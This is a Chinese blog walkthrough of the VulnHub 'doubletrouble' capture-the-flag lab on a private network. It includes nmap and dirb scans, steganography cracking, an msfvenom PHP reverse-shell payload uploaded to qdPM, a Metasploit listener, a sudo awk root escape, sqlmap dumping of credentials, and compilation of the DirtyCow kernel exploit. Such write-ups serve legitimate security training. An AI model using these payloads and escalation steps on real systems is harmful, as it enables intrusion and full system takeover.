kali-vulnhub:doubletrouble

最新推荐文章于 2024-04-30 22:07:29 发布
最新推荐文章于 2024-04-30 22:07:29 发布
阅读量4k 收藏 3
点赞数 1
分类专栏： kail 文章标签： 安全 web安全 linux debian
版权声明：本文为博主原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接和本声明。
本文链接：https://blog.csdn.net/SmithCGauss/article/details/122704904
版权

1.安装好doubletrouble靶机，界面如下：(kali:192.168.0.104;靶机:192.168.0.110)

为Debian,没有发现较明显的信息

2.开始扫描端口

$ nmap -Pn 192.168.0.110
Host discovery disabled (-Pn). All addresses will be marked 'up' and scan times will be slower.
Starting Nmap 7.91 ( https://nmap.org ) at 2022-01-26 03:48 EST
Nmap scan report for 192.168.0.110
Host is up (0.0011s latency).
Not shown: 998 closed ports
PORT   STATE SERVICE
22/tcp open  ssh
80/tcp open  http

发现开启了ssh和http

3.开始目录扫描

$ dirb http://192.168.0.110 -X .php,.txt,.zip
-----------------
DIRB v2.22    
By The Dark Raver
-----------------

START_TIME: Wed Jan 26 03:52:00 2022
URL_BASE: http://192.168.0.110/
WORDLIST_FILES: /usr/share/dirb/wordlists/common.txt
EXTENSIONS_LIST: (.zip,.php,.txt) | (.zip)(.php)(.txt) [NUM = 3]

-----------------

GENERATED WORDS: 4612                                                          

---- Scanning URL: http://192.168.0.110/ ----
+ http://192.168.0.110/check.php (CODE:200|SIZE:0)                                                                
+ http://192.168.0.110/index.php (CODE:200|SIZE:5812)                                                             
+ http://192.168.0.110/readme.txt (CODE:200|SIZE:470)                                                             
+ http://192.168.0.110/robots.txt (CODE:200|SIZE:26)                                                              
                                                                                                                  
-----------------
END_TIME: Wed Jan 26 03:52:02 2022
DOWNLOADED: 13836 - FOUND: 4

发现有check.php index.php robots.txt readme.txt

只有index.php有用

再整体扫描一遍

$ dirb http://192.168.0.110
-----------------
DIRB v2.22    
By The Dark Raver
-----------------

START_TIME: Wed Jan 26 03:57:04 2022
URL_BASE: http://192.168.0.110/
WORDLIST_FILES: /usr/share/dirb/wordlists/common.txt

-----------------

GENERATED WORDS: 4612                                                          

---- Scanning URL: http://192.168.0.110/ ----
==> DIRECTORY: http://192.168.0.110/backups/                                                                      
==> DIRECTORY: http://192.168.0.110/batch/                                                                        
==> DIRECTORY: http://192.168.0.110/core/                                                                         
==> DIRECTORY: http://192.168.0.110/css/                                                                          
+ http://192.168.0.110/favicon.ico (CODE:200|SIZE:894)                                                            
==> DIRECTORY: http://192.168.0.110/images/                                                                       
+ http://192.168.0.110/index.php (CODE:200|SIZE:5812)                                                             
==> DIRECTORY: http://192.168.0.110/install/                                                                      
==> DIRECTORY: http://192.168.0.110/js/                                                                           
+ http://192.168.0.110/robots.txt (CODE:200|SIZE:26)                                                              
==> DIRECTORY: http://192.168.0.110/secret/                                                                       
+ http://192.168.0.110/server-status (CODE:403|SIZE:278)                                                          
==> DIRECTORY: http://192.168.0.110/sf/                                                                           
==> DIRECTORY: http://192.168.0.110/template/                                                                     
==> DIRECTORY: http://192.168.0.110/uploads/                                                                      
                                                                                                                  
---- Entering directory: http://192.168.0.110/backups/ ----
(!) WARNING: Directory IS LISTABLE. No need to scan it.                        
    (Use mode '-w' if you want to scan it anyway)
                                                                                                                  
---- Entering directory: http://192.168.0.110/batch/ ----
(!) WARNING: Directory IS LISTABLE. No need to scan it.                        
    (Use mode '-w' if you want to scan it anyway)
                                                                                                                  
---- Entering directory: http://192.168.0.110/core/ ----
(!) WARNING: Directory IS LISTABLE. No need to scan it.                        
    (Use mode '-w' if you want to scan it anyway)
                                                                                                                  
---- Entering directory: http://192.168.0.110/css/ ----
(!) WARNING: Directory IS LISTABLE. No need to scan it.                        
    (Use mode '-w' if you want to scan it anyway)
                                                                                                                  
---- Entering directory: http://192.168.0.110/images/ ----
(!) WARNING: Directory IS LISTABLE. No need to scan it.                        
    (Use mode '-w' if you want to scan it anyway)
                                                                                                                  
---- Entering directory: http://192.168.0.110/install/ ----
==> DIRECTORY: http://192.168.0.110/install/actions/                                                              
==> DIRECTORY: http://192.168.0.110/install/css/                                                                  
==> DIRECTORY: http://192.168.0.110/install/images/                                                               
+ http://192.168.0.110/install/index.php (CODE:200|SIZE:1815)                                                     
==> DIRECTORY: http://192.168.0.110/install/lib/                                                                  
==> DIRECTORY: http://192.168.0.110/install/modules/                                                              
                                                                                                                  
---- Entering directory: http://192.168.0.110/js/ ----
(!) WARNING: Directory IS LISTABLE. No need to scan it.                        
    (Use mode '-w' if you want to scan it anyway)
                                                                                                                  
---- Entering directory: http://192.168.0.110/secret/ ----
(!) WARNING: Directory IS LISTABLE. No need to scan it.                        
    (Use mode '-w' if you want to scan it anyway)
                                                                                                                  
---- Entering directory: http://192.168.0.110/sf/ ----
(!) WARNING: Directory IS LISTABLE. No need to scan it.                        
    (Use mode '-w' if you want to scan it anyway)
                                                                                                                  
---- Entering directory: http://192.168.0.110/template/ ----
(!) WARNING: Directory IS LISTABLE. No need to scan it.                        
    (Use mode '-w' if you want to scan it anyway)
                                                                                                                  
---- Entering directory: http://192.168.0.110/uploads/ ----
(!) WARNING: Directory IS LISTABLE. No need to scan it.                        
    (Use mode '-w' if you want to scan it anyway)
                                                                                                                  
---- Entering directory: http://192.168.0.110/install/actions/ ----
(!) WARNING: Directory IS LISTABLE. No need to scan it.                        
    (Use mode '-w' if you want to scan it anyway)
                                                                                                                  
---- Entering directory: http://192.168.0.110/install/css/ ----
(!) WARNING: Directory IS LISTABLE. No need to scan it.                        
    (Use mode '-w' if you want to scan it anyway)
                                                                                                                  
---- Entering directory: http://192.168.0.110/install/images/ ----
(!) WARNING: Directory IS LISTABLE. No need to scan it.                        
    (Use mode '-w' if you want to scan it anyway)
                                                                                                                  
---- Entering directory: http://192.168.0.110/install/lib/ ----
(!) WARNING: Directory IS LISTABLE. No need to scan it.                        
    (Use mode '-w' if you want to scan it anyway)
                                                                                                                  
---- Entering directory: http://192.168.0.110/install/modules/ ----
(!) WARNING: Directory IS LISTABLE. No need to scan it.                        
    (Use mode '-w' if you want to scan it anyway)
                                                                               
-----------------
END_TIME: Wed Jan 26 03:57:06 2022
DOWNLOADED: 9224 - FOUND: 5

访问 http://192.168.0.110 时，界面如下：

 

 

访问 http://192.168.0.110/secret 时，发现有一张图片

访问 http://192.168.0.110/uploads 时，发现有一个可以查看文件上传的目录（考虑上传php反弹shell,并且想到应该要先登录“qdPM”）

其余网页上也没有什么重要信息

4.从图片开始，也许图片中会有一下隐藏的信息

使用 stegseek 工具去寻找图片信息https://github.com/RickdeJager/stegseek

$ stegseek ./doubletrouble.jpg /usr/share/wordlists/rockyou.txt
StegSeek 0.6 - https://github.com/RickdeJager/StegSeek

[i] Found passphrase: "92camaro"         
[i] Original filename: "creds.txt".
[i] Extracting to "doubletrouble.jpg.out".
$ cat doubletrouble.jpg.out
otisrush@localhost.com
otis666

估莫着 应该就是“qdPM”的帐号和密码

5.尝试去登录，成功登录，寻找上传文件的入口

最终发现  点击右上角头像  选择“my details”  界面如下

通过 choose file  和  save  上传文件 

6.使用msfvenom生成php反弹shell代码Msfvenom命令总结大全_卿's Blog-CSDN博客

$ msfvenom -p php/meterpreter_reverse_tcp LHOST=192.168.0.104 LPORT=9000 -o 9000.php

记得打开php文件   将开头的“/*”删去！！！然后上传该文件

7.浏览器访问 http://192.168.0.110/uploads/users

看后面日期  发现上传成功

8.msfconsole 在本地监听端口(我使用9000端口监听)

$ msfconsole

msf6 > use exploit/multi/handler

msf6 exploit(multi/handler) > set payload php/meterpreter_reverse_tcp

msf6 exploit(multi/handler) > show options

msf6 exploit(multi/handler) > set lhost 192.168.0.104

msf6 exploit(multi/handler) > set lport 9000

msf6 exploit(multi/handler) > run

9.访问 http://192.168.0.110/uploads/users   点击上传的9000.php,触发反弹连接

 连接成功

meterpreter > shell
Process 871 created.
Channel 0 created.
whoami
www-data
id
uid=33(www-data) gid=33(www-data) groups=33(www-data)

10.提升权限Linux 提权的各种姿势总结_weixin_45116657的博客-CSDN博客_awk提权

sudo -l
Matching Defaults entries for www-data on doubletrouble:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin

User www-data may run the following commands on doubletrouble:
    (ALL : ALL) NOPASSWD: /usr/bin/awk

发现可以sudo无密码执行awk

sudo awk 'BEGIN {system("/bin/sh")}'
whoami
root
cd /root
ls -l
total 403460
-rw-r--r-- 1 root root 413142528 Sep 11 10:49 doubletrouble.ova

果然是 doubletrouble 里面还有一个靶机

11.将靶机下载下来，并在virtualbox打开

在靶机shell中输入

python3 -m http.server 8888

在kali中输入

$ wget http://192.168.0.110:8888/doubletrouble.ova

然后就可以关闭1号靶机了

12.开启2号靶机  界面如下(kali:192.168.0.104;靶机:192.168.0.111)

13.扫描端口

$ nmap -Pn 192.168.0.111
Host discovery disabled (-Pn). All addresses will be marked 'up' and scan times will be slower.
Starting Nmap 7.91 ( https://nmap.org ) at 2022-01-26 05:54 EST
Nmap scan report for 192.168.0.111
Host is up (0.000076s latency).
Not shown: 998 closed ports
PORT   STATE SERVICE
22/tcp open  ssh
80/tcp open  http

Nmap done: 1 IP address (1 host up) scanned in 0.15 seconds

再目录扫描

$ dirb http://192.168.0.111
-----------------
DIRB v2.22    
By The Dark Raver
-----------------

START_TIME: Wed Jan 26 05:50:23 2022
URL_BASE: http://192.168.0.111/
WORDLIST_FILES: /usr/share/dirb/wordlists/common.txt

-----------------

GENERATED WORDS: 4612                                                          

---- Scanning URL: http://192.168.0.111/ ----
+ http://192.168.0.111/cgi-bin/ (CODE:403|SIZE:289)                                                               
+ http://192.168.0.111/index.php (CODE:200|SIZE:615)                                                              
+ http://192.168.0.111/server-status (CODE:403|SIZE:294)                                                          
                                                                                                                  
-----------------
END_TIME: Wed Jan 26 05:50:24 2022
DOWNLOADED: 4612 - FOUND: 3

发现只有index.php有用（其他回应都是403）

14.访问 http://192.168.0.111 

 要让我们登录，又想到了数据库

15.开始数据库扫描

$ sqlmap -u http://192.168.0.111/index.php?id=1 --forms --current-db
...(一路都是yes)
current database: 'doubletrouble'
...

$ sqlmap -u http://192.168.0.111/index.php?id=1 --forms -D doubletrouble --tables
...(一路都是yes)
Database: doubletrouble
[1 table]
+-------+
| users |
+-------+
...

$ sqlmap -u http://192.168.0.111/index.php?id=1 --forms -D doubletrouble -T users --columns
...(一路都是yes)
Database: doubletrouble
Table: users
[2 columns]
+----------+--------------+
| Column   | Type         |
+----------+--------------+
| password | varchar(255) |
| username | varchar(255) |
+----------+--------------+
...

$ sqlmap -u http://192.168.0.111/index.php?id=1 --forms -D doubletrouble -T users --dump
...(一路都是yes)
Database: doubletrouble
Table: users
[2 entries]
+----------+----------+
| password | username |
+----------+----------+
| GfsZxc1  | montreux |
| ZubZub99 | clapton  |
+----------+----------+
...

发现了2对用户名和密码         经过试验  发现都无法登录    然后再去尝试登录ssh  发现只有clapton帐号可以登录

$ ssh clapton@192.168.0.111
clapton@192.168.0.111's password: 
Linux doubletrouble 3.2.0-4-amd64 #1 SMP Debian 3.2.78-1 x86_64

The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
Last login: Wed Jan 26 02:12:00 2022 from 192.168.0.104
clapton@doubletrouble:~$ whoami
clapton
clapton@doubletrouble:~$ id
uid=1000(clapton) gid=1000(clapton) groups=1000(clapton)
clapton@doubletrouble:~$ uname -a
Linux doubletrouble 3.2.0-4-amd64 #1 SMP Debian 3.2.78-1 x86_64 GNU/Linux

获得了系统的版本   去搜索是否有漏洞可以利用  提升权限

16.本地权限提升

搜索后果然发现有漏洞  GitHub - FireFart/dirtycow

在本地下载好C文件后，进入靶机shell新建一个C文件复制粘贴进去，然后编译

clapton@doubletrouble:~$ gcc ./dirty.c -o dirtycow

运行

clapton@doubletrouble:~$ chmod +x dirtycow
clapton@doubletrouble:~$ ./dirtycow 123456

17.这个程序会新建一个名叫firefart的root用户

clapton@doubletrouble:~$ su firefart
Password: 
firefart@doubletrouble:/home/clapton# id
uid=0(firefart) gid=0(root) groups=0(root)
firefart@doubletrouble:/home/clapton# whoami
firefart

或，关闭窗口，重新连接ssh

$ ssh firefart@192.168.0.111
firefart@192.168.0.111's password: 
Linux doubletrouble 3.2.0-4-amd64 #1 SMP Debian 3.2.78-1 x86_64

The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
Last login: Wed Jan 26 02:38:26 2022
firefart@doubletrouble:~# whoami
firefart
firefart@doubletrouble:~# id
uid=0(firefart) gid=0(root) groups=0(root)

18.到此全部完成

鸡蛋牛肉面
关注
  • 1
    点赞
  • 踩
  • 3
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
专栏目录
Kali-Windows:时报视窗
05-30
Kali Windows作为安全从业人员，Kali都是必备工具箱，一款作为黑客常用工具的集合平台深受安全人员喜欢。但是Kali是从BT5转变而来，所以是基于Linux系统集成的。作为很多工控安全从业者因为都是使用Windows平台来做...
dirb参数解析
weixin_30703911的博客
09-14 4389
-----------------DIRB v2.22 By The Dark Raver----------------- dirb <url_base> [<wordlist_file(s)>] [options] ========================= NOTES ========================= <url_ba...
Nmap 主机发现
看着博客敲代码
01-22 1432
前言 在网络收集中最重要的发现主机，也就是筛选出活跃的主机或主机列表。举个例子 ： 主机发现就像是去别人家拜访一样，总是要敲门询问家中主任是否在家，如果得到回应则说明家中有人，如果经过一段时间没有回应，则表示 关于Nmap 简介与安装 就不多说了 可以看此篇文章。 ......
CTF实践
AZXYZNPY的博客
11-21 142
（Dirb 是一个专门用于爆破目录的工具，在 Kali 中默认已经安装，类似工具还有国外的patator，dirsearch，DirBuster， 国内的御剑）截图。找到一个似乎和网络流量有关的目录（路径）。能够扫描WordPress网站中的多种安全漏洞，其中包括主题漏洞、插件漏洞和WordPress本身的漏洞。它不仅能够扫描类似robots.txt这样的敏感文件，而且还能够检测当前已启用的插件和其他功能。2.利用NMAP扫描目标主机，发现目标主机端口开放、服务情况，截图并说明目标提供的服务有哪些？
DC1靶场渗透流程(超详细)
m0_64583632的博客
04-01 378
vulnhub是个提供各种漏洞平台的综合靶场，可供下载多种虚拟机进行下载，本地VM打开即可，像做游戏一样去完成渗透测试、提权、漏洞利用、代码审计等等有趣的实战。
【vulnhub】Chili 靶机
Nicky_Zheng的博客
01-29 651
1、信息收集 1.1、端口扫描 已通过netdiscover发现靶机 ip：192.168.57.142 Host discovery disabled (-Pn). All addresses will be marked 'up' and scan times will be slower. Starting Nmap 7.91 ( https://nmap.org ) at 2020-12-25 17:11 CST Nmap scan report for 192.168.57.142 Host
Nmap学习3 - 主机发现
weixin_43838889的博客
01-30 7967
现在您对 Nmap 是什么以及它的基本命令有了基本的了解，我们可以进一步挖掘并开始讨论 Nmap 主机发现选项。当您开始为客户工作并看到一个新网络时，您要做的第一件事是将网络中的设备（或 IP）列表减少为仅包含对进一步调查感兴趣的设备的列表. 很高兴，我们有 Nmap Host Discovery 来帮助我们解决这个问题。在本文中，我们将介绍所有 Nmap Host Discovery 选项，并解释每个选项的作用。 ...
vulnHub-sick0s1.1学习 两种解法
m0_50431798的博客
06-07 918
查看cat /etc/shadow说是权限不足，那就提权，使用sudo -l查看权限，全all，那就可以使用sudo su提权，提权后再查看/etc/shadow文件。通过这个可以确定用户名大概率是admin，但是密码不清楚，那就尝试弱口令，弱口令不可以就进行爆破，不过这个尝试5次失败就会禁止30秒，可以通过其他方式进行绕过。使用dirsearch扫描可以看到/index.php/login/ ，一个登录链接。查看passwd表可以看到有/bin/bash的用户有root，sickos。
【VulnHub】Acid靶场复盘
redwand的博客
03-15 5707
本靶机要点，一、CTF常见的目录提示方式。二、提权过程中用户文件遍历。三、sudo配置不当提权。
渗透测试 10 --- 扫描 web目录 (dirb、wfuzz、wpscan、nikto)
墨鱼菜鸡
07-17 3074
github 更多工具：https://github.com/topics/dirb github 上 fuzz 工具、字典：https://github.com/search?q=fuzz 当使用一个工具扫描完成后，如果没发现漏洞，可以使用其他 web 扫描工具再扫描下，因为每个工具可能侧重点不一样，扫描出来的漏洞就不一样。 关键字 ...
利用Nmap对MSSQL进行渗透测试
合天网安学院
12-02 220
原创稿件征集邮箱：ed[email protected]：3200599554黑客极客技术、信息安全热点安全研究分析等安全相关的技术文章稿件通过并发布还能收获200-800元不等的稿酬利用n...
Ethical-Hacking-Basics-kali-2021:Udemy课程内容
04-02
道德操守基本知识2021年 Udemy课程内容-Ethical-Hacking-Basics-kali-2021我将托管我在课程中使用的脚本和其他内容。
kali-clean:我的时代桌面设置
05-16
我的kali i3桌面设置。 有人一直在问，所以我写了一个快速安装程序开始。 克隆仓库后，只需运行./install.sh即可。 这会安装很多东西，包括所有的书呆子字体，所以要花一些时间（上次我检查大约20分钟）。 随时优化...
Kali-TX：定制的Kali Linux-Ansible剧本
01-31
cd Kali-TX sudo bash deploy_locally.sh 部署 Ansible 码头工人 帝国 目录搜索 水族蛋白 枢轴 树 皮查姆 蛮力 黑寡妇 Gophish 电源外壳 PowerSploit 邪恶风 QSearchSploit 寻找文凭 Crackmapexec 入侵者有效...
kali-punk:正在努力
04-04
加里朋克 正在努力:)
全新桥隧坡安全监测解决方案，24h监测效率提升30%
Hi_Target的博客
04-30 805
4月26日，交通运输部党组书记、部长李小鹏在部务会上强调，要高度重视公路桥梁隧道结构监测工作，抓紧推进公路桥梁隧道结构监测系统建设，进一步健全完善公路桥梁隧道结构监测长效运行机制。基于北斗高精度定位技术，采用高精度传感器，融合物联网、人工智能以及三维数字化仿真等技术，实时获取运营数据，掌握桥隧坡的运行状况，可有效减少维护成本，保障运营安全。具备振弦、电压、电流、差阻、RS485、RS232、开关量、继电器、RJ45接口。在全国各省份设有26家分公司，具备专业、高效的演示、演练、支撑、交付等本地化服务能力。
内网安全【1】——域信息收集/应用网络凭证/CS插件/Android/BloodHound
weixin_42090431的博客
04-28 917
因此，域中的计算机本地管理员账号，极有可能能够登陆域中较多的计算机，本地管理员的密码在服务器上后期修改的概率，远低于在个人办公电脑上的概率，而域用户权限是较低的，是无法在域成员主机上安装软件的，这将会发生下面的一幕:某个域用户需要使用viso软件进行绘图操作，于是联系网络管理员进行安装，网络管理员采用域管理员身份登录了域成员主机，并帮助其安装了viso软件，于是这个有计算机基础的员工，切换身份登录到了本地计算机的管理员，后执行mimikatz，从内存当中抓取了域管理员的密码，便成功的控制了整个域。
CNCERT：关于汽车数据处理4项安全要求检测情况的通报 (第一批)
南七小僧的学海无涯
04-30 1049
本次检测根据《汽车数据安全管理若干规定（试行）》有关要求，按照GB/T 41871-2022《信息安全技术 汽车数据处理安全要求》和T/CAAMTB 77-2022《汽车传输视频及图像脱敏技术要求与方法》相关技术标准，并参考《汽车数据通用要求（报批稿）》附录C组织实施。检测采用相同的测试要求、测试环境、技术标准和测试流程，包括车外人脸信息等匿名化处理、默认不收集座舱数据、座舱数据车内处理以及处理个人信息显著告知4项要求。e.查阅、复制其个人信息以及删除车内、请求删除已经提供给车外的个人信息的方式和途径；
安全运维 -- splunk 操作手册
最新发布
leeezp的博客
04-30 812
日常运维操作笔记 (持续更新)
忽略:1 http://http.kali.org/kali kali-rolling InRelease 忽略:1 http://http.kali.org/kali kali-rolling InRelease 忽略:1 http://http.kali.org/kali kali-rolling InRelease 错误:1 http://http.kali.org/kali kali-rolling InRelease 暂时不能解析域名“http.kali.org” 正在读取软件包列表...
06-09
这似乎是在使用Kali Linux 更新软件源时遇到了解析域名失败的问题。你可以检查你的网络连接是否正常，或者尝试使用其他网络进行更新。你也可以尝试手动编辑软件源列表，将原来的域名地址改为IP地址，然后再进行更新...

“相关推荐”对你有帮助么？

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值